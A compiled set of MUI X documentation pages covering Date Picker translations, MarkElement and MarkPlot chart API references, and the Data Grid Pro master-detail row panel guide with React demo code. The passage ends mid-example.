productId: x-date-pickers
title: Date and Time Pickers - Translated components
components: LocalizationProvider
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers'
---

# Translated components

Date and Time Pickers support translations between languages.

As with all MUI X components, you can modify text and translations inside the Date and Time Pickers.
You can find all the translation keys supported in [the source](https://github.com/mui/mui-x/blob/HEAD/packages/x-date-pickers/src/locales/utils/pickersLocaleTextApi.ts)
in the GitHub repository.

The default locale of MUI X is English (United States). If you want to use other locales, follow the instructions below.

:::warning
This page focuses on translating the text inside the Date and Time Pickers.
If you need to change the formatting of the text to conform to a given locale, visit the [Date format and localization](/x/react-date-pickers/adapters-locale/) page.
:::

## Set translations globally

### Using the theme

To translate all your components from `@mui/x-date-pickers` and `@mui/x-date-pickers-pro`,
import the locale from `@mui/x-date-pickers` (see the [list of supported locales below](#supported-locales)).

```jsx
import { createTheme, ThemeProvider } from '@mui/material/styles';
import { deDE } from '@mui/x-date-pickers/locales';

const theme = createTheme(
  {
    palette: {
      primary: { main: '#1976d2' },
    },
  },
  deDE, // use 'de' locale for UI texts (start, next month, ...)
);

function App({ children }) {
  return <ThemeProvider theme={theme}>{children}</ThemeProvider>;
}
```

Note that `createTheme()` accepts any number of arguments.
If you are already using the [translations of the core components](/material-ui/guides/localization/#locale-text) or the [translations of the Data Grid](/x/react-data-grid/localization/#locale-text), you can add `deDE` as a new argument.

```jsx
import { createTheme, ThemeProvider } from '@mui/material/styles';
import { deDE as dataGridDeDE } from '@mui/x-data-grid';
import { deDE as coreDeDE } from '@mui/material/locale';
import { deDE } from '@mui/x-date-pickers/locales';

const theme = createTheme(
  {
    palette: {
      primary: { main: '#1976d2' },
    },
  },
  deDE, // x-date-pickers translations
  dataGridDeDE, // x-data-grid translations
  coreDeDE, // core translations
);

function App({ children }) {
  return <ThemeProvider theme={theme}>{children}</ThemeProvider>;
}
```

### Using LocalizationProvider

If you want to pass language translations without using `createTheme()` and `ThemeProvider`,
you can directly load the language translations from the `@mui/x-date-pickers` or `@mui/x-date-pickers-pro` package and pass them to the `LocalizationProvider`.

```jsx
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { deDE } from '@mui/x-date-pickers/locales';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

<LocalizationProvider
  localeText={deDE.components.MuiLocalizationProvider.defaultProps.localeText}
>
  <DatePicker />
</LocalizationProvider>;
```

## Set translations locally

You can also customize the translations of a single component.

If you want to customize some translations on a specific component, you can use the `localeText` prop exposed by all Picker components.

```jsx
<DatePicker localeText={{ clearButtonLabel: 'Empty' }} />
```

:::info
This method can be combined with the ones shown above.

If you pass a localization through `LocalizationProvider` or the theme, and you provide translation keys through the `localeText` prop of a picker at the same time, then only the latter translation keys will be overridden.

```tsx
<LocalizationProvider
  localeText={{ clearButtonLabel: 'Empty', todayButtonLabel: 'Now' }}
>
  <DatePicker
    // ...other props
    localeText={{
      clearButtonLabel: 'Vider',
    }}
  />
</LocalizationProvider>
```

This will produce the following result:

- "Today" button with text **Now** taken from the Localization Provider's `localeText` prop
- "Clear" button with text **Vider** overridden by the Date Picker's `localeText` prop

:::

## Supported locales

```jsx
import LocalisationTable from 'docsx/src/modules/components/LocalizationTable';
import data from './data.json';

export default function PickersLocalisationTableNoSnap() {
  return <LocalisationTable data={data} />;
}

```

You can [find the source](https://github.com/mui/mui-x/tree/HEAD/packages/x-date-pickers/src/locales) in the GitHub repository.

To create your own translation or to customize the English text, copy this file to your project, make any changes needed and import the locale from there.
Note that these translations of the date and time picker components depend on the [Localization strategy](/material-ui/guides/localization/) of the whole library.

## Access the translations in slots and subcomponents

You can use the `usePickerTranslations` hook to access the translations in your custom components.

```tsx
import { usePickerTranslations } from '@mui/x-date-pickers/hooks';

const translations = usePickerTranslations();
```

:::info
See [Custom slots and subcomponents—Action bar](/x/react-date-pickers/custom-components/#component) for more details.
:::

---

# Source: https://mui.com/x/api/charts/mark-element.md

# MarkElement API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Areas demos](/x/react-charts/areas-demo/)
- [Charts - Line demos](/x/react-charts/line-demo/)
- [Charts - Lines](/x/react-charts/lines/)

## Import

```jsx
import { MarkElement } from '@mui/x-charts/LineChart';
// or
import { MarkElement } from '@mui/x-charts';
// or
import { MarkElement } from '@mui/x-charts-pro';
// or
import { MarkElement } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| dataIndex | `number` | - | Yes |  |
| shape | `'circle' \| 'cross' \| 'diamond' \| 'square' \| 'star' \| 'triangle' \| 'wye'` | - | Yes |  |
| hidden | `bool` | `false` | No |  |
| isFaded | `bool` | `false` | No |  |
| isHighlighted | `bool` | `false` | No |  |
| skipAnimation | `bool` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | animate | Styles applied to the root element when animation is not skipped. |
| - | faded | Styles applied to the root element when faded. |
| - | highlighted | Styles applied to the root element when highlighted. |
| - | root | Styles applied to the root element. |
| - | series | Styles applied to the root element for a specified series.
Needs to be suffixed with the series ID: `.${markElementClasses.series}-${seriesId}`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/LineChart/MarkElement.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/LineChart/MarkElement.tsx)

---

# Source: https://mui.com/x/api/charts/mark-plot.md

# MarkPlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Areas demos](/x/react-charts/areas-demo/)
- [Charts - Line demos](/x/react-charts/line-demo/)
- [Charts - Lines](/x/react-charts/lines/)

## Import

```jsx
import { MarkPlot } from '@mui/x-charts/LineChart';
// or
import { MarkPlot } from '@mui/x-charts';
// or
import { MarkPlot } from '@mui/x-charts-pro';
// or
import { MarkPlot } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| onItemClick | `function(event: React.MouseEvent<SVGPathElement, MouseEvent>, lineItemIdentifier: LineItemIdentifier) => void` | - | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| mark | `undefined` | - |  |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/LineChart/MarkPlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/LineChart/MarkPlot.tsx)

---

# Source: https://mui.com/x/react-data-grid/master-detail.md

---
title: Data Grid - Master-detail row panels
---

# Data Grid - Master-detail row panels [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Implement master-detail row panels to let users view extended information without leaving the Data Grid.

## What is the master-detail pattern?

"Master-detail" is a design pattern for organizing information in which the "master" area lists the data and the "detail" sections provide further information about each item.

The Data Grid Pro provides the tools to implement master-detail row panels.
These are useful whenever you need to give end users additional information about row items without navigating away from the Grid.

A common example of this pattern is found in many email clients—users can click on an email from the master list to see its contents (details) as well as actions they can take such as replying, forwarding, and deleting.
To expand a row, click on the **+** icon or press <kbd class="key">Space</kbd> when focused on a cell in the detail toggle column:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import ButtonGroup from '@mui/material/ButtonGroup';
import Divider from '@mui/material/Divider';
import Typography from '@mui/material/Typography';
import Paper from '@mui/material/Paper';
import Stack from '@mui/material/Stack';
import DeleteIcon from '@mui/icons-material/Delete';
import ForwardIcon from '@mui/icons-material/Forward';
import ReplyIcon from '@mui/icons-material/Reply';
import {
  DataGridPro,
  GridColDef,
  useGridApiContext,
  GridRowParams,
  GRID_DETAIL_PANEL_TOGGLE_FIELD,
  useGridSelector,
  gridDimensionsSelector,
} from '@mui/x-data-grid-pro';
import { randomCreatedDate, randomEmail } from '@mui/x-data-grid-generator';

function DetailPanelContent({ row: rowProp }: { row: Email }) {
  const apiRef = useGridApiContext();
  const width = useGridSelector(apiRef, gridDimensionsSelector).viewportInnerSize
    .width;

  return (
    <Stack
      sx={{
        py: 2,
        height: '100%',
        boxSizing: 'border-box',
        position: 'sticky',
        left: 0,
        width,
      }}
      direction="column"
    >
      <Paper sx={{ flex: 1, mx: 'auto', width: '90%', p: 2 }}>
        <Stack direction="column" spacing={1}>
          <Typography variant="h5">{`Subject: ${rowProp.subject}`}</Typography>
          <Typography variant="caption">{`Date: ${rowProp.date.toLocaleString()}`}</Typography>
          <Typography variant="subtitle2">{`From: ${rowProp.name} <${rowProp.email}>`}</Typography>
          <Typography variant="subtitle2">{`To: me <${randomEmail()}>`}</Typography>

          <Typography variant="body2">
            Artisan bitters street art photo booth you probably have not heard of
            them slow-carb food truck. Meh narwhal tumeric bodega boys street art
            Brooklyn venmo. Kinfolk wolf iceland banjo, pitchfork cupping banh mi
            vexillologist cliche locavore venmo. Yuccie kombucha hashtag, bicycle
            rights umami truffaut mumblecore Brooklyn neutral milk hotel aesthetic.
            Wolf plaid leggings butcher solarpunk shabby chic cliche.
          </Typography>
        </Stack>
        <Divider sx={{ my: 3 }} />
        <ButtonGroup variant="text" sx={{ display: 'flex', justifyContent: 'end' }}>
          <Button sx={{ px: 2 }} startIcon={<ReplyIcon />}>
            Reply
          </Button>
          <Button sx={{ px: 2 }} startIcon={<ForwardIcon />}>
            Forward
          </Button>
          <Button sx={{ px: 2 }} color="error" startIcon={<DeleteIcon />}>
            Delete
          </Button>
        </ButtonGroup>
      </Paper>
    </Stack>
  );
}

const columns: GridColDef[] = [
  { field: 'name', headerName: 'From' },
  { field: 'email', headerName: 'Email', width: 200 },
  { field: 'subject', headerName: 'Subject', width: 300 },
  { field: 'date', type: 'date', headerName: 'Date' },
];

const rows = [
  {
    id: 1,
    name: 'Matheus',
    email: randomEmail(),
    subject: 'Readymade asymmetrical organic salad',
    date: randomCreatedDate(),
  },
  {
    id: 2,
    name: 'Olivier',
    email: randomEmail(),
    subject: 'Chillwave solarpunk grailed waistcoat ramps',
    date: randomCreatedDate(),
  },
  {
    id: 3,
    name: 'Flavien',
    email: randomEmail(),
    subject: 'Williamsburg ugh YOLO',
    date: randomCreatedDate(),
  },
  {
    id: 4,
    name: 'Danail',
    email: randomEmail(),
    subject: 'Humblebrag la croix hexagon big mood',
    date: randomCreatedDate(),
  },
  {
    id: 5,
    name: 'Alexandre',
    email: randomEmail(),
    subject: 'Vinyl chambray kitsch',
    date: randomCreatedDate(),
  },
  {
    id: 6,
    name: 'José',
    email: randomEmail(),
    subject: 'Hella kogi pour-over wolf',
    date: randomCreatedDate(),
  },
];

type Email = (typeof rows)[number];

export default function MasterDetailEmailExample() {
  const getDetailPanelContent = React.useCallback(
    ({ row }: GridRowParams) => <DetailPanelContent row={row} />,
    [],
  );

  const getDetailPanelHeight = React.useCallback(() => 400, []);

  return (
    <Box sx={{ width: '100%', height: 400 }}>
      <DataGridPro
        columns={columns}
        rows={rows}
        initialState={{
          pinnedColumns: {
            left: [GRID_DETAIL_PANEL_TOGGLE_FIELD],
          },
        }}
        getDetailPanelHeight={getDetailPanelHeight}
        getDetailPanelContent={getDetailPanelContent}
        sx={{
          '& .MuiDataGrid-detailPanel': {
            overflow: 'visible',
          },
        }}
      />
    </Box>
  );
}

```

## Implementing master-detail row panels

To create master-detail row panels, pass a function to the `getDetailPanelContent` prop that returns the content to be rendered inside the panel.
You can use any valid React element—even another Data Grid.

```tsx
<DataGridPro getDetailPanelContent={({ row }) => <div>Row ID: {row.id}</div>} />
```

### Detail panel height

By default, the detail panel height is 500px.
You can customize this by passing a function to the `getDetailPanelHeight` prop.
This function must return either a number or `"auto"`:

- If it returns a number, then the panel will use that value (in pixels) for the height.
- If it returns `"auto"`, then the height will be derived from the content.

```tsx

// fixed height:
<DataGridPro
  getDetailPanelContent={({ row }) => <div>Row ID: {row.id}</div>}
  getDetailPanelHeight={({ row }) => 100}
/>

// height derived from content:
<DataGridPro
  getDetailPanelContent={({ row }) => <div>Row ID: {row.id}</div>}
  getDetailPanelHeight={({ row }) => 'auto'}
/>
```

:::info
The `getDetailPanelContent` and `getDetailPanelHeight` props are called with a [`GridRowParams`](/x/api/data-grid/grid-row-params/) object, which lets you return a different value for each row.
:::

The demo below shows master-detail panels with heights derived from their contents:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import Grid from '@mui/material/Grid';
import Typography from '@mui/material/Typography';
import Paper from '@mui/material/Paper';
import Stack from '@mui/material/Stack';
import DeleteIcon from '@mui/icons-material/Delete';
import {
  DataGridPro,
  GridColDef,
  DataGridProProps,
  useGridApiContext,
  GridActionsCellItem,
  GridActionsCell,
  GridRenderCellParams,
} from '@mui/x-data-grid-pro';
import {
  randomId,
  randomCreatedDate,
  randomPrice,
  randomCurrency,
  randomCountry,
  randomCity,
  randomEmail,
  randomInt,
  randomAddress,
  randomCommodity,
} from '@mui/x-data-grid-generator';

function generateProduct() {
  return {
    id: randomId(),
    name: randomCommodity(),
    quantity: randomInt(1, 5),
    unitPrice: randomPrice(1, 1000),
  };
}

const DetailPanelActionHandlersContext = React.createContext<
  ((productId: string) => void) | undefined
>(undefined);

function DetailPanelActionsCell(props: GridRenderCellParams) {
  const deleteProduct = React.useContext(DetailPanelActionHandlersContext);

  if (!deleteProduct) {
    throw new Error('DetailPanelActionHandlersContext is empty');
  }

  return (
    <GridActionsCell {...props}>
      <GridActionsCellItem
        icon={<DeleteIcon />}
        label="delete"
        onClick={() => deleteProduct(props.row.id)}
      />
    </GridActionsCell>
  );
}

function DetailPanelContent({ row: rowProp }: { row: Customer }) {
  const apiRef = useGridApiContext();

  const addProduct = React.useCallback(() => {
    const newProduct = generateProduct();
    apiRef.current.updateRows([
      { ...rowProp, products: [...rowProp.products, newProduct] },
    ]);
  }, [apiRef, rowProp]);

  const deleteProduct = React.useCallback(
    (productId: string) => () => {
      const newProducts = rowProp.products.filter(
        (product) => product.id !== productId,
      );
      apiRef.current.updateRows([{ ...rowProp, products: newProducts }]);
    },
    [apiRef, rowProp],
  );

  const columns = React.useMemo<GridColDef<Customer['products'][number]>[]>(
    () => [
      { field: 'name', headerName: 'Product', flex: 1, editable: true },
      {
        field: 'quantity',
        headerName: 'Quantity',
        align: 'center',
        headerAlign: 'center',
        type: 'number',
        editable: true,
      },
      { field: 'unitPrice', headerName: 'Unit Price', type: 'number' },
      {
        field: 'total',
        headerName: 'Total',
        type: 'number',
        valueGetter: (value, row) => row.quantity * row.unitPrice,
      },
      {
        field: 'actions',
        headerName: '',
        type: 'actions',
        width: 50,
        renderCell: (params) => <DetailPanelActionsCell {...params} />,
      },
    ],
    [],
  );

  return (
    <Stack sx={{ py: 2, height: 1, boxSizing: 'border-box' }} direction="column">
      <Paper sx={{ flex: 1, mx: 'auto', width: '90%', p: 1 }}>
        <Stack direction="column" spacing={1} sx={{ height: 1 }}>
          <Typography variant="h6">{`Order #${rowProp.id}`}</Typography>
          <Grid container>
            <Grid size={{ md: 6 }}>
              <Typography variant="body2" color="textSecondary">
                Customer information
              </Typography>
              <Typography variant="body1">{rowProp.customer}</Typography>
              <Typography variant="body1">{rowProp.email}</Typography>
            </Grid>
            <Grid size={{ md: 6 }}>
              <Typography variant="body2" align="right" color="textSecondary">
                Shipping address
              </Typography>
              <Typography variant="body1" align="right">
                {rowProp.address}
              </Typography>
              <Typography
                variant="body1"
                align="right"
              >{`${rowProp.city}, ${rowProp.country.label}`}</Typography>
            </Grid>
          </Grid>
          <div>
            <Button variant="outlined" size="small" onClick={addProduct}>
              Add Product
            </Button>
          </div>
          <div style={{ display: 'flex', flexDirection: 'column', width: '100%' }}>
            <DetailPanelActionHandlersContext.Provider value={deleteProduct}>
              <DataGridPro
                density="compact"
                columns={columns}
                rows={rowProp.products}
                hideFooter
              />
            </DetailPanelActionHandlersContext.Provider>
          </div>
        </Stack>
      </Paper>
    </Stack>
  );
}

const columns: GridColDef[] = [
  { field: 'id', headerName: 'Order ID' },
  { field: 'customer', headerName: 'Customer', width: 200 },
  { field: 'date', type: 'date', headerName: 'Placed at' },
  { field: 'currency', headerName: 'Currency' },
  {
    field: 'total',
    type: 'number',
    headerName: 'Total',
    valueGetter: (value, row) => {
      const subtotal = row.products.reduce(
        (acc: number, product: any) => product.unitPrice * product.quantity,
        0,
      );
      const taxes = subtotal * 0.05;
      return subtotal + taxes;
    },
  },
];

function generateProducts() {
  const quantity = randomInt(1, 5);
  return [...Array(quantity)].map(generateProduct);
}

const rows = [
  {
    id: 1,
    customer: 'Matheus',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
  {
    id: 2,
    customer: 'Olivier',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
  {
    id: 3,
    customer: 'Flavien',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
  {
    id: 4,
    customer: 'Danail',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
  {
    id: 5,
    customer: 'Alexandre',
    email: randomEmail(),
    date: randomCreatedDate(),
    address: randomAddress(),
    country: randomCountry(),
    city: randomCity(),
    currency: randomCurrency(),
    products: generateProducts(),
  },
];

type Customer = (typeof rows)[number];

export default function DetailPanelAutoHeight() {
  const getDetailPanelContent = React.useCallback<
    NonNullable<DataGridProProps['getDetailPanelContent']>
  >(({ row }) => <DetailPanelContent row={row} />, []);

  const getDetailPanelHeight = React.useCallback<
    NonNullable<DataGridProProps['getDetailPanelHeight']>
  >(() => 'auto' as const, []);

  return (
    <Box sx={{ width: 1, height: 400 }}>
      <DataGridPro
        columns={columns}
        rows={rows}
        getDetailPanelHeight={getDetailPanelHeight}
        getDetailPanelContent={getDetailPanelContent}
      />
    </Box>
  );
}

```

:::warning
Always memoize the function provided to `getDetailPanelContent` and `getDetailPanelHeight`.
The Data Grid depends on the referential value of these props to cache their values and optimize the rendering.

```tsx
const getDetailPanelContent = React.useCallback(() => { ... }, []);

<DataGridPro getDetailPanelContent={getDetailPanelContent} />
```

:::

## Controlling expanded detail panels

To control which rows are expanded, pass a set of row IDs to the `detailPanelExpandedRowIds` prop.
You can pass a callback function to the `onDetailPanelExpandedRowIds` prop to detect when a row is expanded or collapsed.

To initialize the Data Grid with specific row panels expanded, use the `initialState` prop as shown below:

```tsx
<DataGridPro initialState={{ detailPanel: { expandedRowIds: new Set([1, 2, 3]) } }}>
```

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import {
  DataGridPro,
  GridColDef,
  GridRowsProp,
  GridRowId,
  DataGridProProps,
} from '@mui/x-data-grid-pro';
import {
  randomCreatedDate,
  randomCurrency,
  randomEmail,
  randomPrice,
} from '@mui/x-data-grid-generator';
import Alert from '@mui/material/Alert';

export default function ControlMasterDetail() {
  const [detailPanelExpandedRowIds, setDetailPanelExpandedRowIds] = React.useState(
    () => new Set<GridRowId>(),
  );

  const handleDetailPanelExpandedRowIdsChange = React.useCallback<
    NonNullable<DataGridProProps['onDetailPanelExpandedRowIdsChange']>
  >((newIds) => {
    setDetailPanelExpandedRowIds(newIds);
  }, []);

  return (
    <Box sx={{ width: '100%' }}>
      <Alert severity="info">
        <code>
          detailPanelExpandedRowIds: {JSON.stringify(detailPanelExpandedRowIds)}
        </code>
      </Alert>
      <Box sx={{ height: 400, mt: 1 }}>
        <DataGridPro
          rows={rows}
          columns={columns}
          getDetailPanelContent={({ row }) => (
            <Box sx={{ p: 2 }}>{`Order #${row.id}`}</Box>
          )}
          getDetailPanelHeight={() => 50}
          detailPanelExpandedRowIds={detailPanelExpandedRowIds}
          onDetailPanelExpandedRowIdsChange={handleDetailPanelExpandedRowIdsChange}
        />
      </Box>
    </Box>
  );
}

const columns: GridColDef[] = [
  { field: 'id', headerName: 'Order ID' },
  { field: 'customer', headerName: 'Customer', width: 200 },
  { field: 'date', type: 'date', headerName: 'Placed at' },
  { field: 'currency', headerName: 'Currency' },
  { field: 'total', type: 'number', headerName: 'Total' },
];

const rows: GridRowsProp = [
  {
    id: 1,
    customer: 'Matheus',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 2,
    customer: 'Olivier',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 3,
    customer: 'Flavien',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 4,
    customer: 'Danail',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
  {
    id: 5,
    customer: 'Alexandre',
    email: randomEmail(),
    date: randomCreatedDate(),
    currency: randomCurrency(),
    total: randomPrice(1, 1000),
  },
];

```

## Lazy-loading detail panel content

You don't need to provide the content for detail panels upfront—instead, you can load it lazily when a row is expanded.

In the following example, the `<DetailPanelContent />` component fetches data on mount.
This component is used by the `getDetailPanelContent` prop to render the detail panel content.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import Paper from '@mui/material/Paper';
import Stack from '@mui/material/Stack';
import { DataGridPro, DataGridProProps, GridColDef } from '@mui/x-data-grid-pro';
import {
  randomEmail,
  randomInt,
  randomCommodity,
  randomPrice,
  randomTraderName,
  randomId,
} from '@mui/x-data-grid-generator';
import { DataGridProps, GridRowId } from '@mui/x-data-grid';

type Products = Awaited<ReturnType<typeof getProducts>>;

const DetailPanelDataCache = React.createContext(new Map<GridRowId, Products>());

async function getProducts(orderId: Customer['id']) {
  await new Promise((resolve) => {
    setTimeout(resolve, 1000);
  });

  const quantity = randomInt(1, 5);
  return [...Array(quantity)].map((_, index) => ({
    id: index,
    orderId,
    name: randomCommodity(),
    quantity: randomInt(1, 5),
    unitPrice: randomPrice(1, 1000),
  }));
}

function DetailPanelContent({ row: rowProp }: { row: Customer }) {
  const [isLoading, setLoading] = React.useState(true);
  const [products, setProducts] = React.useState<
    Awaited<ReturnType<typeof getProducts>>
  >([]);

  const detailPanelDataCache = React.useContext(DetailPanelDataCache);

  React.useEffect(() => {
    let isMounted = true;
    (async () => {
      if (!detailPanelDataCache.has(rowProp.id)) {
        console.log('fetching detail panel content for row', rowProp.id);
        const response = await getProducts(rowProp.id);
        // Store the data in cache so that when detail panel unmounts due to virtualization, the data is not lost
        detailPanelDataCache.set(rowProp.id, response);
      }

      const result = detailPanelDataCache.get(rowProp.id)!;

      if (!isMounted) {
        return;
      }

      setProducts(result);
      setLoading(false);
    })();

    return () => {
      isMounted = false;
    };
  }, [rowProp.id, detailPanelDataCache]);

  return (
    <Stack
      sx={{ py: 2, height: '100%', boxSizing: 'border-box' }}
      direction="column"
    >
      <Paper sx={{ flex: 1, mx: 'auto', width: '90%', p: 1 }}>
        <Stack direction="column" spacing={1} sx={{ height: 1 }}>
          <Typography variant="h6">{`Order #${rowProp.id}`}</Typography>
          <DataGridPro
            density="compact"
            loading={isLoading}
            columns={[
              { field: 'name', headerName: 'Product', flex: 1 },
              {
                field: 'quantity',
                headerName: 'Quantity',
                align: 'center',
                type: 'number',
              },
              { field: 'unitPrice', headerName: 'Unit Price', type: 'number' },
              {
                field: 'total',
                headerName: 'Total',
                type: 'number',
                valueGetter: (value, row) => row.quantity * row.unitPrice,
              },
            ]}
            rows={products}
            sx={{ flex: 1 }}
            hideFooter
          />
        </Stack>
      </Paper>
    </Stack>
  );
}

const columns: GridColDef[] = [
  { field: 'customer', headerName: 'Customer', width: 200 },
  { field: 'email', headerName: 'Email', width: 200 },
];

function getRow() {
  return {
    id: randomId(),
    customer: randomTraderName(),
    email: randomEmail(),
  };
}

const rows: ReturnType<typeof getRow>[] = [];
for (let i = 0; i < 100; i += 1) {
  rows.push(getRow());
}

type Customer = (typeof rows)[number];

const getDetailPanelContent: DataGridProps['getDetailPanelContent'] = (params) => (
  <DetailPanelContent row={params.row} />
);

const getDetailPanelHeight = () => 240;

export default function LazyLoadingDetailPanel() {
  const detailPanelDataCache = React.useRef(new Map<GridRowId, Products>()).current;

  const handleDetailPanelExpansionChange = React.useCallback<
    NonNullable<DataGridProProps['onDetailPanelExpandedRowIdsChange']>
  >(
    (newExpandedRowIds) => {
      // Only keep cached data for detail panels that are still expanded
      for (const [id] of detailPanelDataCache) {
        if (!newExpandedRowIds.has(id)) {
          detailPanelDataCache.delete(id);
        }
      }
    },
    [detailPanelDataCache],
  );

  return (
    <Box sx={{ width: '100%', height: 400 }}>
      <DetailPanelDataCache.Provider value={detailPanelDataCache}>
        <DataGridPro
          columns={columns}
          rows={rows}
          getDetailPanelHeight={getDetailPanelHeight}
          getDetailPanelContent={getDetailPanelContent}
          onDetailPanelExpandedRowIdsChange={handleDetailPanelExpansionChange}
        />
      </DetailPanelDataCache.Provider>
    </Box>
  );
}

```

:::warning
Lazy loading panels with auto height can lead to scrolling issues.
This happens because panels that are re-mounted briefly have a smaller height than they had when they were removed from the DOM by the virtualizer.

In that case, cache the last panel heights and provide those values from `getDetailPanelHeight`.
Check the [Lazy loading detail panels with auto height](/x/react-data-grid/row-recipes/#lazy-loading-detail-panels-with-auto-height) recipe for implementation details.
:::

## Using a detail panel as a form

As an alternative to the built-in [row editing feature](/x/react-data-grid/editing/#row-editing), you can render a form component inside the detail panel so users can edit the row values.

The demo below shows how to implement this behavior using [react-hook-form](https://react-hook-form.com/), but other form libraries are also supported.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import Typography from '@mui/material/Typography';
import Paper from '@mui/material/Paper';
import Stack from '@mui/material/Stack';
import TextField from '@mui/material/TextField';
import { useForm, Controller } from 'react-hook-form';
import {
  DataGridPro,
  GridColDef,
  GridRowModelUpdate,
  useGridApiContext,
  GridRowParams,
} from '@mui/x-data-grid-pro';
import { randomEmail } from '@mui/x-data-grid-generator';

function DetailPanelContent({ row }: { row: Customer }) {
  const apiRef = useGridApiContext();
  const {
    control,
    handleSubmit,
    formState: { isValid },
  } = useForm({
    defaultValues: row,
    mode: 'onChange',
  });

  const onSubmit = (data: GridRowModelUpdate) => {
    apiRef.current.updateRows([data]);
    apiRef.current.toggleDetailPanel(row.id);
  };

  return (
    <Stack
      sx={{ py: 2, height: '100%', boxSizing: 'border-box' }}
      direction="column"
    >
      <Paper sx={{ flex: 1, mx: 'auto', width: '90%', p: 1 }}>
        <Stack
          component="form"
          justifyContent="space-between"
          onSubmit={handleSubmit(onSubmit)}
          sx={{ height: 1 }}
        >
          <Typography variant="h6">{`Edit Order #${row.id}`}</Typography>
          <Controller
            control={control}
            name="customer"
            rules={{ required: true }}
            render={({ field, fieldState: { invalid } }) => (
              <TextField
                label="Customer"
                size="small"
                error={invalid}
                required
                fullWidth
                {...field}
              />
            )}
          />
          <Controller
            control={control}
            name="email"
            rules={{ required: true }}
            render={({ field, fieldState: { invalid } }) => (
              <TextField
                label="Email"
                size="small"
                error={invalid}
                required
                fullWidth
                {...field}
              />
            )}
          />
          <div>
            <Button
              type="submit"
              variant="outlined"
              size="small"
              disabled={!isValid}
            >
              Save
            </Button>
          </div>
        </Stack>
      </Paper>
    </Stack>
  );
}

const columns: GridColDef[] = [
  { field: 'id', headerName: 'Order ID' },
  { field: 'customer', headerName: 'Customer', width: 200 },
  { field: 'email', headerName: 'Email', width: 200 },
];

const rows = [
  {
    id: 1,
    customer: 'Matheus',
    email: randomEmail(),
  },
  {
    id: 2,
    customer: 'Olivier',
    email: randomEmail(),
  },
  {
    id: 3,
    customer: 'Flavien',
    email: randomEmail(),
  },
  {
    id: 4,
    customer: 'Danail',
    email: randomEmail(),
  },
  {
    id: 5,
    customer: 'Alexandre',
    email: randomEmail(),
  },
];

type Customer = (typeof rows)[number];

export default function FormDetailPanel() {
  const getDetailPanelContent = React.useCallback(
    ({ row }: GridRowParams) => <DetailPanelContent row={row} />,
    [],
  );

  const getDetailPanelHeight = React.useCallback(() => 240, []);

  return (
    <Box sx={{ width: '100%', height: 400 }}>
      <DataGridPro
        columns={columns}
        rows={rows}
        getDetailPanelHeight={getDetailPanelHeight}
        getDetailPanelContent={getDetailPanelContent}
      />
    </Box>
  );
}

```

## Customizing the detail panel toggle

To change the icon used for the toggle, you can provide a different component for the [icon slot](/x/react-data-grid/components/#icons) as shown here:

```tsx
<DataGridPro
  slots={{
    detailPanelExpandIcon: CustomExpandIcon,
    detailPanelCollapseIcon: CustomCollapseIcon,
  }}
/>
```

You can also completely override the toggle component by adding another column to your set with `field: GRID_DETAIL_PANEL_TOGGLE_FIELD`.
This prevents the Data Grid from adding the default toggle column.
Then you can add a new toggle component using [`renderCell()`](/x/react-data-grid/column-definition/#rendering-cells) as you would for any other column:

```tsx
<DataGridPro
  columns={[
    {
      field: GRID_DETAIL_PANEL_TOGGLE_FIELD,
      renderCell: (params) => <CustomDetailPanelToggle {...params} />,
    },
  ]}
/>
```

Because the `field` is the only property defined, it's up to you to configure any additional options (such as filtering, sorting, or disabling the column menu).
If you'd rather set up the toggle with basic options preconfigured, you can spread `GRID_DETAIL_PANEL_TOGGLE_COL_DEF` when defining the column, as shown below:

```tsx
<DataGridPro
  columns={[
    {
